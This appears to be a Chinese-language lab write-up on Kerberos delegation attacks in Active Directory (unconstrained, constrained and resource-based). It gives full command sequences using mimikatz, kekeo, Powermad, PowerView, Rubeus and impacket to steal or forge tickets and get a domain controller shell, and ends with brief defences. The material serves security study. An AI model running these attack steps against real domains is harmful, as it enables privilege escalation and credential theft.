委派一般出现在域环境中。它是一种机制,在kerberos认证的时候会涉及到。不正确的委派的配置,可能使攻击者达到提权的目的。
约束委派和非约束委派的区别
其实就是委派的种类不同;
委派任何服务即为非约束委派。
委派特定任务即为约束委派。
其实还有第三种委派,叫做基于资源的委派。
为了使用户/资源更加独立,微软在Windows Server 2012中引入了基于资源的约束性委派。基于资源的约束委派不需要域管理员权限去设置,而把设置属性的权限赋予给了机器自身。基于资源的约束性委派允许资源配置受信任的帐户委派给他们。
基于资源的约束委派只能在运行WindowsServer2012和Windows Server 2012R2及以上的域控制器上配置,但可以在混合模式林中应用。配置了基于资源的约束委派的账户的userAccountControl属性为 WORKSTATION_TRUST_ACCOUNT,并且msDS-AllowedToActOnBehalfOfOtherIdentity属性的值为被允许基于资源约束性委派的账号的SID。
委派的权限授予给了拥有资源的后端(B),而不再是前端(A)。
约束性委派不能跨域进行委派,基于资源的约束性委派可以跨域和林。
不再需要域管理员权限设置委派,只需拥有在计算机对象上编辑”msD S-AllowedToActOnBehalfOfOtherIdentity”属性的权限,也就是将计算机加入域的域用户 和 机器自身 拥有权限。
传统的约束委派是“正向的”,通过修改服务A的属性”msDS-AllowedToDelegateTo”,添加服务B的SPN(Service Principle Name),设置约束委派对象(服务B),服务A便可以模拟用户向域控制器请求访问服务B的ST服务票据。
而基于资源的约束委派则是相反的,通过修改服务B属性”msDS-AllowedToActOnBehalfOfOtherIdentity”,添加服务A的SID,达到让服务A模拟用户访问B资源的目的。
关于委派的更多细节可以查看此文章:
(12条消息) windows中关于委派(delegation)的理解_Shanfenglan's blog-CSDN博客
关于Kerberos身份验证可以看此文章:
非约束委派
⽤户 A 去访问服务B,服务 B 的服务账户开启了⾮约束委派,那么当⽤户 A 访问服务 B 的时候会将⽤户 A 的 TGT发送给服务 B 并保存进内存,服务 B 能够利⽤⽤户 A 的身份去访问⽤户 A 能够访问的任意服务。
利用原理
若某台主机被设置为了非约束委派时,当一个用户访问此主机时,会把自己的TGT发送给此主机,同时,此TGT会被保存在内存(lsass.exe)中以便后续使用,如果我们可以诱导域控制器访问此主机,域控制器就会把它的TGT发送到此主机上,如果我们可以获取到与控制器的TGT就可以生成黄金票据。
创建非约束委派用户
在 Windows 系统中,只有服务账号和主机账号的属性才有委派功能,普通⽤户默认是没有的。
有一些不可被设置成委派的用户,比如此处打勾的
首先我们要创建一个普通账号,然后注册SPN将其变成服务账号。
setspn -U -A MSSQLSvc/mssql.g1ts.com:1433 xweipai
这个账户名必须是已存在的账户,如果不是则无法创建为服务账号,也可以新建一个新的账户
如果不存在此账户则会显示此。
创建成功。
然后打开委派属性。
我们可以通过查看用户的属性来判断用户是否是非约束委派,
在userAccountControl中会显示。
查找域内⾮约束委派⽤户和计算机
使用Adfind
下载地址:
常用命令:
AdFind [switches] [-b basedn] [-f filter] [attr list]
列出域控制器名称: AdFind -sc dclist 查询当前域中在线的计算机: AdFind -sc computers_active 查询当前域中在线的计算机(只显示名称和操作系统): AdFind -sc computers_active name operatingSystem 查询当前域中所有计算机: AdFind -f "objectcategory=computer" 查询当前域中所有计算机(只显示名称和操作系统): AdFind -f "objectcategory=computer" name operatingSystem 查询域内所有用户: AdFind -users name 查询所有GPO: AdFind -sc gpodmp
AdFind.exe -b "DC=g1ts,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
⾮约束委派攻击
将winser2012这个个主机账户(刚才是服务账号)设置为非约束委派。
当我们使用域控制器(winser2016)去访问winser2012时,就会在2012上留下TGT,
这里我采用了powershell直接连接:
Enter-PSSession -ComputerName winser2012
经过此次连接后,域控制器的凭证已经留在了winser2012上了,
然后我们用刚才创建的服务账号来登录被访问的服务主机(必须得是服务账号),登陆后,为了避免干扰,先用mimikatz把所有的票据给去除。
privilege::debug kerberos::purge
然后再把主机内的票据给导出(我这里域控制器还连接着winser2012),
sekurlsa::tickets /export
发现导出了很多票据,选择域管理员@krgtbt-域名的票据。
登录非约束委派账户,然后将票据导入,
kerberos::ptt [0;b6f74]-2-0-60a10000-Administrator@krbtgt-G1TS.COM.kirbi
然后可以使用kerberos::list查看内存中的票据。
这里注意一下红框处,一开始我一直弄不了,发现票据已经过期了(END的时间比start的时间还要早,不知道怎么弄的),怀疑有可能是因为过期的问题导致无法访问。
此时再访问,就可以成功访问到域控制器了。
在实验拍错的时候,我用了两个版本的windows,使用windwos server 2008时,用域控制器连接2008会显示错误。
这时要在2008配置一下即可。
利用思路
先通过ldapsearch或者adfind或者powerview查询域内配置了非约束性委派的机器。
那下目标机器权限。
诱导域管对我们这台机器进行委派(通过使用钓鱼或者打印机哪个漏洞)。
拿到域管的TGT
将域管的TGT注入
约束委派
原理
从上面可以看到,非约束委派是相当不安全的,获得了域控制器的TGT就等于可以可以用域控制器的权限访问任何任务,所以微软推出了约束委派,还扩充kerberos协议,添加了s4u2self与s4u2proxy协议,以增加安全性。
创建约束性委派用户
当服务账号或者主机被设置为约束性委派时,其userAccountControl属性包含,TRUSTED_TO_AUTH_FOR_DELEGATION,且msDS-AllowedToDelegateTo属性会包含被约束的服务。
然后配置服务账号:
输入域控制器的主机名,然后检查名称,它就会自动更新为域控制器的名称,然后点击确定。
添加cifs服务:
查找约束委派用户
AdFind.exe -h [dc's ip] -u [username] -up [password] -b "domain" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto AdFind.exe -h 10.10.10.10 -u testuser -up admin!@#456 -b "DC=g1ts,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
约束委派攻击
kekeo(要做免杀)下载地址;
igentilkiwi/kekeo: A little toolbox to play with Microsoft Kerberos in C (github.com)
利用kekeo请求TGT
tgt::ask /user:weipai /domain:g1ts.com /password:admin!@#456
这里可以不输入密码,而是用哈希/ntlm:[ntlm Hash]
通过这张TGT伪造s4u请求以administrator用户身份去访问winser2012的CIFS的ST:
tgs::s4u /tgt:TGT_weipai@G1TS.COM_krbtgt~g1ts.com@G1TS.COM.kirbi /user:administrator@g1ts.com /service:cifs/winser2016.g1ts.com
S4U2Self 获取到的 ST1 以及 S4U2Proxy 获取到的 AD-2008 CIFS 服务的 ST2 会保存在当前⽬录下。
登录约束委派账号,然后使用mimikatz注入此票据,在此之前要先清除内存中的票据。
基于资源的委派
基于资源的约束性委派 (RBCD: Resource Based Constrained Delegation):为了使⽤户/资源更加独⽴,微软在Windows Server 2012中引⼊了基于资源的约束性委派。基于资源的约束委派不需要域管理员权限去设置,⽽把设置属性的权限赋予给了机器⾃身--基于资源的约束性委派允许资源配置受信任的帐户委派给他们。
基于资源的约束委派只能在运⾏ Windows Server 2012 和 Windows Server 2012 R2 及以上的域控制器上配置,但资源的约束委派可以跨域森林和跨域。
创建账户
能够实现基于资源的委派攻击需要两个点:
机器账户
可以修改msDS-AllowedToActOnBehalfOfOtherIdentity的账户
msDS-AllowedToActOnBehalfOfOtherIdentity
可以让用户模拟成域内任意用户然后向该计算机进行身份验证。如果能将这个属性的值配置成我们已经拿到密码的一个机器账户的话,那我们就能以任意成员的身份去控制配置了这个属性的主机。
注意,我们需要的是机器账户,原因是攻击的流程中会使用到S4U2Self协议,它只适用于有SPN账户,而不同账户是没有SPN的。
获得一个可以修改msDS-AllowedToActOnBehalfOfOtherIdentity的账户
想要找到这类账户,可以查找域中含有mS-DS-CreatorSID值的用户,这个值也会出现在把用户加入域的那个账户(这句话比较绕,我实际演示一下)。
首先明白一点,并非只有域管理员才有将普通用户加入域的权限,一个普通的域用户也可以,在g1ts域中,有一域管理员administrator,一域普通用户testuser,然后我们再新建一个域用户,用来测试将普通用户加入域。
然后我将主机win7&10加入到域当中
那么对于win7&10来说,join就是可以修改它们msDS-AllowedToActOnBehalfOfOtherIdentity的账户,后面会验证。
机器账户
域内用户都有一个属性叫做ms-ds-MachineAccountQuota,它代表的是允许用户在域中常见计算机账户的个数,默认是10。那么这就代表我们如果拥有一个普通的域用户那么我们就可以利用这个用户最多可以创建十个新的计算机帐户也就是机器账户。
基于资源的委派攻击
首先先登录刚才创建的join用户。
1、查找可以攻击的目标
假设我们拿到一个域用户的帐户,我们想要进行基于资源的委派攻击,首先要先查看一下当前账户可以修改谁的msds-allowedtoactonbehalfofotheridentity属性值。
使用powerview脚本,包含在powersploit中,powersploit可以在github下载,
首先先找到当前账户的SID:
whoami /all
S-1-5-21-3960071969-2362883727-1949664287-1120
将powerview.ps1导入,使用命令:
Get-DomainObjectAcl | ?{$_.SecurityIdentifier -match "S-1-5-21-3960071969-2362883727-1949664287-1120"} | select objectdn,activedirectoryrights
正是刚才我们加入语中的win7&10:
注意:如果activedirectoryrights的值不是完全控制(genericall)或者writeproperty的话,有可能不能更改目标主机的属性值。
2、添加机器账户
使用powermad脚本,
下载地址:
首先导入脚本,然后执行命令:
//New-MachineAccount -MachineAccount [username] -Password $(ConvertTo-SecureString "[userpassword]" -AsPlainText -Force) New-MachineAccount -MachineAccount hack -Password $(ConvertTo-SecureString "hackyou" -AsPlainText -Force)
查看一下当前域内机器账户,
net group "domain computers" /domain
可以看到账户已经创建了。
3、查询添加的机器账户的SID;
dsquery computer | dsget computer -dn -sid
下载地址:
//下载Microsoft.ActiveDirectory.Management.dll
导入dll文件后执行命令;
Get-ADComputer [username] Get-ADComputer hack
或者使用powerview脚本;
Get-DomainComputer -Identity hack | select objectsid
4、修改msDS-AllowedToActOnBehalfOfOtherIdentity
命令需要以管理员权限运行,
在windows server 2012以上,
导入Microsoft.ActiveDirectory.Management.dll文件后执行命令。
Set-ADComputer winser2016 -PrincipalsAllowedToDelegateToAccount hack$
在windows server 2012以下:
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3960071969-2362883727-1949664287-1120)" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) Get-DomainComputer winser2016| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
(使用以下命令需要导入刚才的dll文件,但是我在使用win7、windows server 2008时导入失败,所以无法使用下面命令,出现此错误估计和net framwork的版本有关)。
验证是否修改成功
使用powerview脚本:
Get-DomainComputer winser2016 -Properties msds-allowedtoactonbehalfofotheridentity
有回显即为设置成功。
5、攻击
使用Rubues
Rubeus.exe hash /user:hack /password:hackyou /domain:g1ts.com //获取rc4的哈希
Rubeus.exe s4u /user:hack$ /rc4:D9690F7EBA3280895F40968371AEBC1E /impersonateuser:Administrator /msdsspn:cifs/winser2016 /ptt
但是,在我测试的过程中,如上面的截图所示,使用的是windows server 2012,执行完操作后,却无法dir域控的c盘,使用miikatz查看当前内存的票据,发现确实已经使用了新的票据且没有过期,不知道为什么无法访问域控c盘。
后面我使用win10执行操作,结果一切正常。
使用impacket
首先要先安装impacket,安装及下载可在GitHub官网查看,
python getST.py -dc-ip 10.10.10.10 -spn cifs/winser2016 -impersonate administrator g1ts.com/hack$:hackyou
执行后会在当前文件夹生成一个票据。
set KRB5CCNAME=administrator.ccache python psexec.py -no-pass -k winser2016
成功获得了域控的shell。
用户不可委派
适用于目标情况:administrator设置为了敏感账户不可委派、加入了受保护用户组。
可以使用命令查询一下:
Get-ADUser administrator -Properties AccountNotDelegated, Memberof
此时在执行一下之前的命令:
Rubeus.exe s4u /user:hack$ /rc4:D9690F7EBA3280895F40968371AEBC1E /impersonateuser:Administrator /msdsspn:cifs/winser2016 /ptt
可以发现S4U2self的转发成功,而S4U2proxy转发失败。
可以使用Rubeus查看一下base64字符串的含义,
Rubeus.exe describe /ticket:[内容]
可以看到服务名称是缺失的。
把base64字符串复制下来后,存放到ticket.kribi文件中,由于被base64加密,所以要解密,解密过后可以直接使用Rubeus直接替换里面的内容。
Rubeus.exe tgssub /ticket:ticket.kirbi /altservice:cifs/winser2016 /ptt
其他查询工具
ldapsearch
kali上自带,可以在外网查询,
可以使用ldapsearch -h来查看用法,
查找域中配置非约束委派的用户。
ldapsearch -x -H ldap://10.10.10.10:389 -D "CN=g1ts,CN=Users,DC=g1ts,DC=com" -w password -b "DC=g1ts,DC=com" "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"
查找域中配置非约束委派的主机:
ldapsearch -x -H ldap://10.10.10.10:389 -D "CN=g1ts,CN=Users,DC=g1ts,DC=com" -w password -b "DC=g1ts,DC=com" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"
区别服务用户和主机的区别是samAccountType=805306368 (0x30000000)时为用户,samAccountType=805306369 (0x30000001)时为主机。
Powerview.ps1
查询非约束委派机器:
Get-NetComputer -Unconstrained -Domain g1ts.com | select cn
查询约束委派机器:
Get-DomainComputer -TrustedToAuth -Domain g1ts.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto
防御委派攻击
1、没有在特殊要求之下设置为不可委派(即设置为敏感账户),
2、为了防止凭据被盗微软推出了Protected Users组,适用于Windows Server 2016,Windows Server 2012 R2、 Windows Server 2012。
参考文章
(12条消息) 基于windows中委派的攻击思路(上)-约束性委派与非约束性委派_Shanfenglan's blog-CSDN博客_委派攻击
(12条消息) windows中关于委派(delegation)的理解_Shanfenglan's blog-CSDN博客